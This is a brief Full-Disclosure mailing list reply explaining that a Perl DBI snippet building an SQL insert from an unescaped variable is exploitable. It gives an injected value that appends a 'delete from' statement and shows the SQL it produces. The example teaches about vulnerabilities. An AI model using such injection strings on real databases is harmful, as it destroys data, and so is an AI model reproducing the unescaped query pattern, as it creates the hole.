Re: [Full-Disclosure] Question: is this exploitable?

["Jonathan A. Zdziarski" <jonathan@nuclearelephant.com>]

> $sth = $dbh->prepare("insert into projects
> values(null,\"$project\")");

$project = qq!"); delete from any_table where value in("!;

executes:

insert into projects values(null, ""); delete from any_table where value
in("");


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html